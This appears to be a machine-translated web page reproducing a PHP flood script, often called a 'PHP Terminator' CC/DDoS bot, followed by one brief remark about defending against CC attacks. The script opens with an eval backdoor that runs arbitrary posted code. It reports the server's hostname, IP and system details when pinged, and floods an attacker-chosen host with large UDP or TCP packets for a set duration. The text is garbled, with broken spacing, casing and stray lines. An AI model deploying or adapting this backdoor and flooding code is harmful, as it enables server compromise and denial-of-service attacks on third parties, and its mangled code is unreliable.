- Eval ($_POST[CHR (90)]);
- Set_time_limit (86400);
- Ignore_user_abort (True);
- $packets = 0;
- $http = $_get[' http '];
- $rand = $_get[' exit '];
- $exec _time = $_get[' time ');
- if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0)
- {
- if (StrLen ($_get[' rat ']) <>0)
- {
- echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|". $_server[' server_software '].$_get[' rat ';
- Exit
- }
- echo "PHP Terminator";
- Exit
- }
- for ($i =0; $i <65535; $i + +)
- {
- $out. = "X";
- }
- Udp1-fsockopen UDP2 Pfsockopen TCP3 cc.center
- $max _time = time () + $exec _time;
- if ($rand ==53)
- while (1)
- {
- $packets + +;
- if (Time () > $max _time)
- {
- Break
- }
- $fp = Fsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
- if ($FP)
- {
- Fwrite ($fp, $out);
- Fclose ($FP);
- }
- }
- Else
- if ($rand ==500)
- while (1)
- {
- $packets + +;
- if (Time () > $max _time) {
- Break
- }
- $fp = Pfsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
- if ($FP)
- {
- Fwrite ($fp, $out);
- Fclose ($FP);
- }
- }
- Else
- while (1)
- {
- $packets + +;
- if (Time () > $max _time) {
- Break
- }
- $fp = Pfsockopen ("tcp://$http", $rand, $errno, $ERRSTR, 5);
- if ($FP)
- {
- Fwrite ($fp, $out);
- Fclose ($FP);
- }
- }
- ?>
Copy CodeFor the protection of CC attacks, if it is a dynamic page, you can determine the time, if the site is static, you need to install anti-CC attacks on the Server software, General server security dog is still good. For the prevention of PHP cc attacks, always pay attention to. |